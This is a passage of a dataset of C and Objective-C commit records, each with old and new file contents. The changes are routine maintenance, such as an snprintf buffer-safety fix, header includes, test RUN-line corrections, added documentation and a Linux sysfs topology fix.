tf_optimizer,yongtang\/tensorflow,yongtang\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,paolodedios\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow"}
{"commit":"0235bd2ec4410a7d4e3fd7ef4fc6d2ac98730f30","old_file":"src\/adts\/adts_display.h","new_file":"src\/adts\/adts_display.h","old_contents":"#pragma once\n\n#include <sched.h> \/* sched_getcpu() *\/\n#include <stdio.h> \/* printf() *\/\n\n\n\n\/**\n **************************************************************************\n *  \\brief\n *   preprocessor conditional printf formatter output\n *\n * \\details\n *   Input arguments are equivalent to printf.  referrence printf man pages\n *   for api details\n *\n **************************************************************************\n *\/\n#if defined(__ADTS_DISPLAY)\n    #define CDISPLAY(_format, ...)                                      \\\n    do {                                                                \\\n        char _buffer[256] = {0};                                        \\\n                                                                        \\\n        sprintf(_buffer, _format, ## __VA_ARGS__);                      \\\n        printf(\"%3d %4d %-25.25s %-30.30s %s\\n\",                        \\\n            sched_getcpu(), __LINE__, __FILE__, __FUNCTION__, _buffer); \\\n                                                                        \\\n        \/* Serialize console output on exit\/error *\/                    \\\n        fflush(stdout);                                                 \\\n    } while(0);\n#else\n    #define CDISPLAY(_format, ...) \/* compile disabled *\/\n#endif\n\n\n\/**\n **************************************************************************\n * \\details\n *   Count digits in decimal number\n *\n **************************************************************************\n *\/\ninline size_t\nadts_digits_decimal( int32_t val )\n{\n    size_t digits = 0;\n\n    while (val) {\n        val \/= 10;\n        digits++;\n    }\n\n    return digits;\n} \/* adts_digits_decimal() *\/\n\n","new_contents":"#pragma once\n\n#include <sched.h> \/* sched_getcpu() *\/\n#include <stdio.h> \/* printf() *\/\n\n\n\n\/**\n **************************************************************************\n *  \\brief\n *   preprocessor conditional printf formatter output\n *\n * \\details\n *   Input arguments are equivalent to printf.  referrence printf man pages\n *   for api details\n *\n **************************************************************************\n *\/\n#if defined(__ADTS_DISPLAY)\n    #define CDISPLAY(_format, ...)                                         \\\n    do {                                                                   \\\n        char   _buffer[256] = {0};                                         \\\n        size_t _limit       = sizeof(_buffer) - 1;                         \\\n                                                                           \\\n        snprintf(_buffer, _limit, _format, ## __VA_ARGS__);                \\\n        printf(\"%3d %4d %-25.25s %-30.30s %s\\n\",                           \\\n            sched_getcpu(), __LINE__, __FILE__, __FUNCTION__, _buffer);    \\\n                                                                           \\\n        \/* Serialize console output on exit\/error *\/                       \\\n        fflush(stdout);                                                    \\\n    } while(0);\n#else\n    #define CDISPLAY(_format, ...) \/* compile disabled *\/\n#endif\n\n\n\/**\n **************************************************************************\n * \\details\n *   Count digits in decimal number\n *\n **************************************************************************\n *\/\ninline size_t\nadts_digits_decimal( int32_t val )\n{\n    size_t digits = 0;\n\n    while (val) {\n        val \/= 10;\n        digits++;\n    }\n\n    return digits;\n} \/* adts_digits_decimal() *\/\n\n","subject":"Add buffer overflow safety to CDISPLAY","message":"Add buffer overflow safety to CDISPLAY\n","lang":"C","license":"mit","repos":"78613\/sample,78613\/sample"}
{"commit":"f9fab9d5c1d8a5711cc6d4a32e06a720958c24aa","old_file":"cineio-broadcast-ios\/cineio-broadcast-ios\/CineConstants.h","new_file":"cineio-broadcast-ios\/cineio-broadcast-ios\/CineConstants.h","old_contents":"#import <Foundation\/Foundation.h>\n#define API_VERSION \"1\"\n#define BASE_URL \"https:\/\/www.cine.io\/api\/\"\n#define SDK_VERSION \"0.6.1\"\n#define USER_AGENT \"cineio-ios\"\n\nextern NSString* const BaseUrl;\nextern NSString* const UserAgent;\n","new_contents":"#import <Foundation\/Foundation.h>\n\n#define API_VERSION \"1\"\n#define BASE_URL \"https:\/\/www.cine.io\/api\/\"\n#define SDK_VERSION \"0.6.1\"\n#define USER_AGENT \"cineio-ios\"\n\nextern NSString* const BaseUrl;\nextern NSString* const UserAgent;\n","subject":"Add line break after import","message":"Add line break after import","lang":"C","license":"mit","repos":"DisruptiveMind\/cineio-broadcast-ios,cine-io\/cineio-broadcast-ios,sanchosrancho\/cineio-broadcast-ios,jrstv\/jrstv-broadcast-ios,gouravd\/cineio-broadcast-ios"}
{"commit":"0ba1212867ef18e71a4f05ed19b6d0c89208e954","old_file":"cc1\/arch\/i386\/arch.h","new_file":"cc1\/arch\/i386\/arch.h","old_contents":"","new_contents":"\n#define TINT        long long\n#define TUINT       unsigned long long\n#define TFLOAT      double\n\n#define L_SCHAR     L_INT8\n#define L_UCHAR     L_UINT8\n#define L_CHAR      L_INT8\n#define L_SHORT     L_INT16\n#define L_USHORT    L_UINT16\n#define L_INT       L_INT32\n#define L_UINT      L_UINT32\n#define L_LONG      L_INT32\n#define L_ULONG     L_UINT32\n#define L_LLONG     L_INT64\n#define L_ULLONG    L_UINT64\n#define L_BOOL      'B'\n#define L_FLOAT     'J'\n#define L_DOUBLE    'D'\n#define L_LDOUBLE   'H'\n#define L_ENUM      L_INT\n","subject":"Add support for i386 in cc1","message":"Add support for i386 in cc1\n\nWe only need to configure the types, and the rest of the code\nwill work without problems.\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,k0gaMSX\/scc,8l\/scc"}
{"commit":"a67eb4aed742365cd175540372e5f94ff82f998c","old_file":"doc\/tutorial_src\/set_contents.c","new_file":"doc\/tutorial_src\/set_contents.c","old_contents":"#include <cgreen\/cgreen.h>\n#include <cgreen\/mocks.h>\n\nvoid convert_to_uppercase(char *converted_string, const char *original_string) {\n    mock(converted_string, original_string);\n}\n\nEnsure(setting_content_of_out_parameter) {\n    expect(convert_to_uppercase,\n           when(original_string, is_equal_to_string(\"upper case\")),\n           will_set_content_of_parameter(&converted_string,\n                                         \"UPPER CASE\", 11));\n\n}\n","new_contents":"#include <cgreen\/cgreen.h>\n#include <cgreen\/mocks.h>\n\nvoid convert_to_uppercase(char *converted_string, const char *original_string) {\n    mock(converted_string, original_string);\n}\n\nEnsure(setting_content_of_out_parameter) {\n    expect(convert_to_uppercase,\n           when(original_string, is_equal_to_string(\"upper case\")),\n           will_set_content_of_parameter(converted_string,\n                                         \"UPPER CASE\", 11));\n\n}\n","subject":"Fix error in example code","message":"[doc][set_parameter] Fix error in example code\n","lang":"C","license":"isc","repos":"cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen"}
{"commit":"a0241bdf2645c1190a385faa685326f364bfc3c9","old_file":"elang\/hir\/instruction_visitor.h","new_file":"elang\/hir\/instruction_visitor.h","old_contents":"\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_HIR_INSTRUCTION_VISITOR_H_\n#define ELANG_HIR_INSTRUCTION_VISITOR_H_\n\n#include \"base\/macros.h\"\n#include \"elang\/hir\/instructions_forward.h\"\n\nnamespace elang {\nnamespace hir {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ InstructionVisitor\n\/\/\nclass InstructionVisitor {\n public:\n#define V(Name, ...) virtual void Visit##Name(Name##Instruction* instruction);\n  FOR_EACH_HIR_INSTRUCTION(V)\n#undef V\n\n protected:\n  InstructionVisitor();\n  virtual ~InstructionVisitor();\n\n  virtual void DoDefaultVisit(Instruction* instruction);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(InstructionVisitor);\n};\n\n}  \/\/ namespace hir\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_HIR_INSTRUCTION_VISITOR_H_\n","new_contents":"\/\/ Copyright 2014-2015 Project Vogue. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ELANG_HIR_INSTRUCTION_VISITOR_H_\n#define ELANG_HIR_INSTRUCTION_VISITOR_H_\n\n#include \"base\/macros.h\"\n#include \"elang\/hir\/hir_export.h\"\n#include \"elang\/hir\/instructions_forward.h\"\n\nnamespace elang {\nnamespace hir {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ InstructionVisitor\n\/\/\nclass ELANG_HIR_EXPORT InstructionVisitor {\n public:\n  virtual ~InstructionVisitor();\n\n#define V(Name, ...) virtual void Visit##Name(Name##Instruction* instruction);\n  FOR_EACH_HIR_INSTRUCTION(V)\n#undef V\n\n protected:\n  InstructionVisitor();\n\n  virtual void DoDefaultVisit(Instruction* instruction);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(InstructionVisitor);\n};\n\n}  \/\/ namespace hir\n}  \/\/ namespace elang\n\n#endif  \/\/ ELANG_HIR_INSTRUCTION_VISITOR_H_\n","subject":"Add DLL export attribute to |hir::InstructionVisitor| to use it in compiler.","message":"elang\/hir: Add DLL export attribute to |hir::InstructionVisitor| to use it in compiler.\n","lang":"C","license":"apache-2.0","repos":"eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang,eval1749\/elang"}
{"commit":"f354befe514c37daad8932e9c2c46e1efce38c58","old_file":"Classes\/ObjectiveSugar.h","new_file":"Classes\/ObjectiveSugar.h","old_contents":"\/\/ C SUGAR\n#define unless(condition) if(!(condition))\n\n\/\/ OBJC SUGAR\n#import \"NSNumber+ObjectiveSugar.h\"\n#import \"NSArray+ObjectiveSugar.h\"\n#import \"NSMutableArray+ObjectiveSugar.h\"\n#import \"NSDictionary+ObjectiveSugar.h\"\n#import \"NSSet+ObjectiveSugar.h\"\n#import \"NSString+ObjectiveSugar.h\"","new_contents":"\/\/ C SUGAR\n#define unless(condition) if(!(condition))\n\n\/\/ OBJC SUGAR\n#import \"NSNumber+ObjectiveSugar.h\"\n#import \"NSArray+ObjectiveSugar.h\"\n#import \"NSMutableArray+ObjectiveSugar.h\"\n#import \"NSDictionary+ObjectiveSugar.h\"\n#import \"NSSet+ObjectiveSugar.h\"\n#import \"NSString+ObjectiveSugar.h\"\n","subject":"Fix GCC_WARN_ABOUT_MISSING_NEWLINE in header file","message":"Fix GCC_WARN_ABOUT_MISSING_NEWLINE in header file\n","lang":"C","license":"mit","repos":"Anish-kumar-dev\/ObjectiveSugar,rizvve\/ObjectiveSugar,orta\/ObjectiveSugar,supermarin\/ObjectiveSugar,gank0326\/ObjectiveSugar,oarrabi\/ObjectiveSugar,target\/ObjectiveSugar,ManagerOrganization\/ObjectiveSugar"}
{"commit":"c87e619ae400b67537cee83894d25cbf25e777ba","old_file":"tests\/regression\/30-fast_global_inits\/03-performance.c","new_file":"tests\/regression\/30-fast_global_inits\/03-performance.c","old_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.interval --enable exp.partition-arrays.enabled  --enable exp.fast_global_inits  --set ana.activated \"['base','expRelation','mallocWrapper']\"\n\/\/ Without fast_global_inits this takes >150s, when it is enabled < 0.1s\nint global_array[50][500][20];\n\nint main(void) {\n  for(int i =0; i < 50; i++) {\n      assert(global_array[i][42][7] == 0);\n  }\n}\n","new_contents":"\/\/ PARAM: --sets solver td3 --enable ana.int.interval --enable exp.partition-arrays.enabled  --enable exp.fast_global_inits  --set ana.activated \"['base','threadid','threadflag','expRelation','mallocWrapper']\"\n\/\/ Without fast_global_inits this takes >150s, when it is enabled < 0.1s\nint global_array[50][500][20];\n\nint main(void) {\n  for(int i =0; i < 50; i++) {\n      assert(global_array[i][42][7] == 0);\n  }\n}\n","subject":"Fix 30\/03 by adding threadid and threadflag analyses","message":"Fix 30\/03 by adding threadid and threadflag analyses\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"bf523de92bd31ded4cc8b3a071779fa38a166298","old_file":"test\/Frontend\/rewrite-includes-missing.c","new_file":"test\/Frontend\/rewrite-includes-missing.c","old_contents":"\/\/ RUN: %clang_cc1 -verify -E -frewrite-includes %s -o - | FileCheck -strict-whitespace %s\n\n#include \"foobar.h\" \/\/ expected-error {{'foobar.h' file not found}}\n\/\/ CHECK: {{^}}#if 0 \/* expanded by -frewrite-includes *\/{{$}}\n\/\/ CHECK-NEXT: {{^}}#include \"foobar.h\"\n\/\/ CHECK-NEXT: {{^}}#endif \/* expanded by -frewrite-includes *\/{{$}}\n\/\/ CHECK-NEXT: {{^}}# 4 \"\/usr\/local\/google\/home\/blaikie\/Development\/llvm\/src\/tools\/clang\/test\/Frontend\/rewrite-includes-missing.c\" 2{{$}}\n","new_contents":"\/\/ RUN: %clang_cc1 -verify -E -frewrite-includes %s -o - | FileCheck -strict-whitespace %s\n\n#include \"foobar.h\" \/\/ expected-error {{'foobar.h' file not found}}\n\/\/ CHECK: {{^}}#if 0 \/* expanded by -frewrite-includes *\/{{$}}\n\/\/ CHECK-NEXT: {{^}}#include \"foobar.h\"\n\/\/ CHECK-NEXT: {{^}}#endif \/* expanded by -frewrite-includes *\/{{$}}\n\/\/ CHECK-NEXT: {{^}}# 4 \"{{.*}}rewrite-includes-missing.c\" 2{{$}}\n","subject":"Remove absolute path form include test.","message":"Remove absolute path form include test.\n\nReview feedback\/bot failure from r158459 by Simon Atanasyan and Benjamin Kramer (on IRC).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@158464 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"61ffbc5697130918aa600a031ab48ea76791acb9","old_file":"server\/session_context.h","new_file":"server\/session_context.h","old_contents":"#ifndef __MESSAGES__MESSAGE_CONTEXT_H__\n#define __MESSAGES__MESSAGE_CONTEXT_H__\n\n#include \"request_message.h\"\n#include \"reply_message.h\"\n#include \"backend.h\"\n\nnamespace traffic {\n\n\nclass SessionContext : public RequestVisitor\n{\nprivate:\n\tstd::unique_ptr<ReplyMessage> _message;\n\tDataProvider::ptr_t _data_provider;\n\nprotected:\n\tvoid visit(StatisticRequest const &request);\n\tvoid visit(SummaryRequest const &request);\n\tvoid visit(ErrorRequest const &request);\n\npublic:\n\tbool process_data(void const *data, size_t const size);\n\tvoid encode_result(std::string &out);\n\n\tSessionContext(DataProvider::ptr_t provider);\n\tvirtual ~SessionContext() { }\n};\n\n\n}\n\n#endif\n\n","new_contents":"#ifndef __MESSAGES__MESSAGE_CONTEXT_H__\n#define __MESSAGES__MESSAGE_CONTEXT_H__\n\n#include \"request_message.h\"\n#include \"reply_message.h\"\n#include \"backend.h\"\n\nnamespace traffic {\n\n\n\/**\n * \\brief This is the context for a request\/reply session.\n *\n * This context is allocated for each request to process the data. It represents\n * the glue between the server, the messages and the backend. It uses the\n * RequestMessage interface to parse data to a request, implements the\n * RequestVisitor interface to select the correct backend method to query and\n * provide a interface to serialize the result to the wire format.\n *\/\nclass SessionContext : public RequestVisitor\n{\nprivate:\n\tstd::unique_ptr<ReplyMessage> _message;\n\tDataProvider::ptr_t _data_provider;\n\nprotected:\n\tvoid visit(StatisticRequest const &request);\n\tvoid visit(SummaryRequest const &request);\n\tvoid visit(ErrorRequest const &request);\n\npublic:\n\t\/**\n\t * \\brief Process raw request data in wire format.\n\t *\n\t * This is the entry point for the context to process its request. It\n\t * gets the wire data of the request, transforms it to a request\n\t * instance and give it to the backend. The result from the backend will\n\t * be stored internally.\n\t *\n\t * \\param data The pointer to the raw request data.\n\t * \\param size The size of the request data.\n\t * \\return false in case of error.\n\t *\/\n\tbool process_data(void const *data, size_t const size);\n\n\t\/**\n\t * \\brief Encode the current reply data to the wire format.\n\t *\n\t * This serialize the current state (result from the backend or error\n\t * message) to the reply wire format and put the result into the given\n\t * string reference.\n\t *\n\t * \\param out The string to write the result to.\n\t *\/\n\tvoid encode_result(std::string &out);\n\n\t\/**\n\t * \\brief Creat a session context.\n\t *\n\t * This is done for every incomming data packet.\n\t *\n\t * \\param provider The DataProvider to use for this request.\n\t *\/\n\tSessionContext(DataProvider::ptr_t provider);\n\tvirtual ~SessionContext() { }\n};\n\n\n}\n\n#endif\n\n","subject":"Add documentation to the SessionContext","message":"Add documentation to the SessionContext\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"agdsn\/traffic-service-server,agdsn\/traffic-service-server"}
{"commit":"416d6a4d4c78a068172d95c63d770616f25bc40d","old_file":"src\/term_printf.c","new_file":"src\/term_printf.c","old_contents":"\/\/ Print formatted output to the VGA terminal\n\n#include \"vga.h\"\n#include <stdarg.h>\n\nvoid term_print_dec(int x)\n{\n    int divisor = 1;\n\n    for (; divisor < x; divisor *= 10)\n\t;\n\n    for (; divisor > 0; divisor \/= 10)\n\tterm_putchar(((x \/ divisor) % 10) + '0');\n}\n\nvoid term_printf(const char *fmt, ...)\n{\n    va_list args;\n    va_start(args, fmt);\n\n    for (int i = 0; fmt[i] != '\\0'; i++) {\n\tif (fmt[i] != '%') {\n\t    term_putchar(fmt[i]);\n\t} else {\n\t    char fmt_type = fmt[++i];\n\t    switch (fmt_type) {\n\t    case '%':\n\t\tterm_putchar('%');\n\t\tbreak;\n\t    case 'd':\n\t\tterm_print_dec(va_arg(args, int));\n\t\tbreak;\n\t    case 's':\n\t\tterm_putsn(va_arg(args, char*));\n\t\tbreak;\n\t    case 'c':\n\t\tterm_putchar(va_arg(args, int));\n\t\tbreak;\n\t    default:\n\t\tbreak;\n\t    }\n\t}\n    }\n\n    va_end(args);\n}\n","new_contents":"\/\/ Print formatted output to the VGA terminal\n\n#include \"vga.h\"\n#include <stdarg.h>\n\nstatic void term_print_dec(int x)\n{\n    int divisor = 1;\n\n    for (; divisor <= x; divisor *= 10)\n\t;\n\n    divisor \/= 10;\n\n    for (; divisor > 0; divisor \/= 10)\n\tterm_putchar(((x \/ divisor) % 10) + '0');\n}\n\nvoid term_printf(const char *fmt, ...)\n{\n    va_list args;\n    va_start(args, fmt);\n\n    for (int i = 0; fmt[i] != '\\0'; i++) {\n\tif (fmt[i] != '%') {\n\t    term_putchar(fmt[i]);\n\t} else {\n\t    char fmt_type = fmt[++i];\n\t    switch (fmt_type) {\n\t    case '%':\n\t\tterm_putchar('%');\n\t\tbreak;\n\t    case 'd':\n\t\tterm_print_dec(va_arg(args, int));\n\t\tbreak;\n\t    case 's':\n\t\tterm_putsn(va_arg(args, char*));\n\t\tbreak;\n\t    case 'c':\n\t\tterm_putchar(va_arg(args, int));\n\t\tbreak;\n\t    default:\n\t\tbreak;\n\t    }\n\t}\n    }\n\n    va_end(args);\n}\n","subject":"Fix term_print_dec Would print a leading 0 if number wasn't a power of 10","message":"Fix term_print_dec\nWould print a leading 0 if number wasn't a power of 10\n","lang":"C","license":"mit","repos":"orodley\/studix,orodley\/studix"}
{"commit":"f48419666e645208c0156aecab1ee6157303da3c","old_file":"arch\/ppc\/syslib\/ibm_ocp.c","new_file":"arch\/ppc\/syslib\/ibm_ocp.c","old_contents":"#include <linux\/module.h>\n#include <asm\/ocp.h>\n\nstruct ocp_sys_info_data ocp_sys_info = {\n\t.opb_bus_freq\t=\t50000000,\t\/* OPB Bus Frequency (Hz) *\/\n\t.ebc_bus_freq\t=\t33333333,\t\/* EBC Bus Frequency (Hz) *\/\n};\n\nEXPORT_SYMBOL(ocp_sys_info);\n","new_contents":"#include <linux\/module.h>\n#include <asm\/ibm4xx.h>\n#include <asm\/ocp.h>\n\nstruct ocp_sys_info_data ocp_sys_info = {\n\t.opb_bus_freq\t=\t50000000,\t\/* OPB Bus Frequency (Hz) *\/\n\t.ebc_bus_freq\t=\t33333333,\t\/* EBC Bus Frequency (Hz) *\/\n};\n\nEXPORT_SYMBOL(ocp_sys_info);\n","subject":"Fix compile breakage for IBM\/AMCC 4xx arch\/ppc platforms","message":"[POWERPC] Fix compile breakage for IBM\/AMCC 4xx arch\/ppc platforms\n\nThe IBM\/AMCC 405 platforms don't compile anymore in the current\nkernel version.  This fixes the compile breakage.\n\nSigned-off-by: Stefan Roese <44b7497c4bb5f3e8c071b12b7ece82766a88068d@denx.de>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ce5148894cbf4a465e2bc1158e8a4f8a729f6632","old_file":"test\/PCH\/va_arg.c","new_file":"test\/PCH\/va_arg.c","old_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -include %S\/va_arg.h %s -emit-llvm -o - &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -o %t %S\/va_arg.h &&\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -include-pch %t %s -emit-llvm -o -\n\nchar *g0(char** argv, int argc) { return argv[argc]; }\n\nchar *g(char **argv) {\n  f(g0, argv, 1, 2, 3);\n}\n","new_contents":"\/\/ Test this without pch.\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -include %S\/va_arg.h %s -emit-llvm -o - &&\n\n\/\/ Test with pch.\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -emit-pch -o %t %S\/va_arg.h &&\n\/\/ RUN: clang-cc -triple=x86_64-unknown-freebsd7.0 -include-pch %t %s -emit-llvm -o -\n\nchar *g0(char** argv, int argc) { return argv[argc]; }\n\nchar *g(char **argv) {\n  f(g0, argv, 1, 2, 3);\n}\n","subject":"Fix a problem with the RUN line of one of the PCH tests","message":"Fix a problem with the RUN line of one of the PCH tests\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@70227 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"e4bf49a203afcee266a24cd5b7b4c49944a74f3b","old_file":"Modules\/unicodedatabase.c","new_file":"Modules\/unicodedatabase.c","old_contents":"\/* ------------------------------------------------------------------------\n\n   unicodedatabase -- The Unicode 3.0 data base.\n\n   Data was extracted from the Unicode 3.0 UnicodeData.txt file.\n\n   Written by Marc-Andre Lemburg (mal@lemburg.com).\n   Rewritten for Python 2.0 by Fredrik Lundh (fredrik@pythonware.com)\n\n   Copyright (c) Corporation for National Research Initiatives.\n\n   ------------------------------------------------------------------------ *\/\n\n#include <stdlib.h>\n#include \"unicodedatabase.h\"\n\n\/* read the actual data from a separate file! *\/\n#include \"unicodedata_db.h\"\n\nconst _PyUnicode_DatabaseRecord *\n_PyUnicode_Database_GetRecord(int code)\n{\n    int index;\n\n    if (code < 0 || code >= 65536)\n        index = 0;\n    else {\n        index = index1[(code>>SHIFT)];\n        index = index2[(index<<SHIFT)+(code&((1<<SHIFT)-1))];\n    }\n    return &_PyUnicode_Database_Records[index];\n}\n\nconst char *\n_PyUnicode_Database_GetDecomposition(int code)\n{\n    int index;\n\n    if (code < 0 || code >= 65536)\n        index = 0;\n    else {\n        index = decomp_index1[(code>>DECOMP_SHIFT)];\n        index = decomp_index2[(index<<DECOMP_SHIFT)+\n                             (code&((1<<DECOMP_SHIFT)-1))];\n    }\n    return decomp_data[index];\n}\n","new_contents":"\/* ------------------------------------------------------------------------\n\n   unicodedatabase -- The Unicode 3.0 data base.\n\n   Data was extracted from the Unicode 3.0 UnicodeData.txt file.\n\n   Written by Marc-Andre Lemburg (mal@lemburg.com).\n   Rewritten for Python 2.0 by Fredrik Lundh (fredrik@pythonware.com)\n\n   Copyright (c) Corporation for National Research Initiatives.\n\n   ------------------------------------------------------------------------ *\/\n\n#include \"Python.h\"\n#include \"unicodedatabase.h\"\n\n\/* read the actual data from a separate file! *\/\n#include \"unicodedata_db.h\"\n\nconst _PyUnicode_DatabaseRecord *\n_PyUnicode_Database_GetRecord(int code)\n{\n    int index;\n\n    if (code < 0 || code >= 65536)\n        index = 0;\n    else {\n        index = index1[(code>>SHIFT)];\n        index = index2[(index<<SHIFT)+(code&((1<<SHIFT)-1))];\n    }\n    return &_PyUnicode_Database_Records[index];\n}\n\nconst char *\n_PyUnicode_Database_GetDecomposition(int code)\n{\n    int index;\n\n    if (code < 0 || code >= 65536)\n        index = 0;\n    else {\n        index = decomp_index1[(code>>DECOMP_SHIFT)];\n        index = decomp_index2[(index<<DECOMP_SHIFT)+\n                             (code&((1<<DECOMP_SHIFT)-1))];\n    }\n    return decomp_data[index];\n}\n","subject":"Fix header file usage so that NULL is defined. NULL is needed by unicodedata_db.h.","message":"Fix header file usage so that NULL is defined. NULL is needed by\nunicodedata_db.h.\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"05a117847b43d44f336bbf272a1063661431a5e5","old_file":"arch\/sh\/kernel\/topology.c","new_file":"arch\/sh\/kernel\/topology.c","old_contents":"#include <linux\/cpu.h>\n#include <linux\/cpumask.h>\n#include <linux\/init.h>\n#include <linux\/percpu.h>\n#include <linux\/node.h>\n#include <linux\/nodemask.h>\n\nstatic DEFINE_PER_CPU(struct cpu, cpu_devices);\n\nstatic int __init topology_init(void)\n{\n\tint i, ret;\n\n#ifdef CONFIG_NEED_MULTIPLE_NODES\n\tfor_each_online_node(i)\n\t\tregister_one_node(i);\n#endif\n\n\tfor_each_present_cpu(i) {\n\t\tret = register_cpu(&per_cpu(cpu_devices, i), i);\n\t\tif (unlikely(ret))\n\t\t\tprintk(KERN_WARNING \"%s: register_cpu %d failed (%d)\\n\",\n\t\t\t       __FUNCTION__, i, ret);\n\t}\n\n\treturn 0;\n}\nsubsys_initcall(topology_init);\n","new_contents":"\/*\n * arch\/sh\/kernel\/topology.c\n *\n *  Copyright (C) 2007  Paul Mundt\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\/\n#include <linux\/cpu.h>\n#include <linux\/cpumask.h>\n#include <linux\/init.h>\n#include <linux\/percpu.h>\n#include <linux\/node.h>\n#include <linux\/nodemask.h>\n\nstatic DEFINE_PER_CPU(struct cpu, cpu_devices);\n\nstatic int __init topology_init(void)\n{\n\tint i, ret;\n\n#ifdef CONFIG_NEED_MULTIPLE_NODES\n\tfor_each_online_node(i)\n\t\tregister_one_node(i);\n#endif\n\n\tfor_each_present_cpu(i) {\n\t\tret = register_cpu(&per_cpu(cpu_devices, i), i);\n\t\tif (unlikely(ret))\n\t\t\tprintk(KERN_WARNING \"%s: register_cpu %d failed (%d)\\n\",\n\t\t\t       __FUNCTION__, i, ret);\n\t}\n\n#if defined(CONFIG_NUMA) && !defined(CONFIG_SMP)\n\t\/*\n\t * In the UP case, make sure the CPU association is still\n\t * registered under each node. Without this, sysfs fails\n\t * to make the connection between nodes other than node0\n\t * and cpu0.\n\t *\/\n\tfor_each_online_node(i)\n\t\tif (i != numa_node_id())\n\t\t\tregister_cpu_under_node(raw_smp_processor_id(), i);\n#endif\n\n\treturn 0;\n}\nsubsys_initcall(topology_init);\n","subject":"Fix up cpu to node mapping in sysfs.","message":"sh: Fix up cpu to node mapping in sysfs.\n\nCurrently cpu_to_node() is always 0 in the UP case, though\nwe do want to have the CPU association linked in under sysfs\neven in the cases where we're only on a single CPU.\n\nFix this up, so we have the cpu0 link on all of the available\nnodes that don't already have a CPU link of their own.\n\nSigned-off-by: Paul Mundt 